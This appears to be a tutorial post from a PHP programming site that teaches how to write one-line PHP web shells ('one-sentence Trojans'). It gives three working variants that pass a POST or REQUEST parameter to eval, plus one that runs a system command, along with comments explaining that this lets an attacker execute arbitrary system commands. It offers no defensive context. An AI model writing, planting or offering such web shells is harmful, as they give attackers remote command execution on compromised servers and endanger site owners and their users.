Home >Backend Development >PHP Problem >How to write a php type Trojan horse in one sentence

How to write a php type Trojan horse in one sentence

藏色散人
藏色散人Original
2019-11-07 09:23:159048browse

How to write a php type Trojan horse in one sentence

How to write a one-sentence php type Trojan?

PHP one sentence Trojan

One:

One sentence Trojan about PHP:

<?php
 
 $a=$_POST[&#39;H&#39;];
 eval("$a");//eval会将输入的$a作为php语句执行,因此只要对_赋一定的system命令值,就能够执行系统命令
 
 ?>


Display results:

How to write a php type Trojan horse in one sentence

Two:

A word about PHP Trojans:

<?php
 $string=@$_POST["_"];
 var_dump($string);
echo "<br>";
 eval("system(&#39;net user&#39;);");
 ?>

When the value of POST parameter_ is empty:

How to write a php type Trojan horse in one sentence

When it is not empty:

How to write a php type Trojan horse in one sentence

Three:

Use REQUEST method:

<?php
 @eval($_REQUEST[_]);//什么类型的,如POST,GET均可以接收
 
 ?>

Display result:

GET type:

How to write a php type Trojan horse in one sentence

POST type:

How to write a php type Trojan horse in one sentence

For more PHP related knowledge, please visit PHP Chinese website!

The above is the detailed content of How to write a php type Trojan horse in one sentence. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn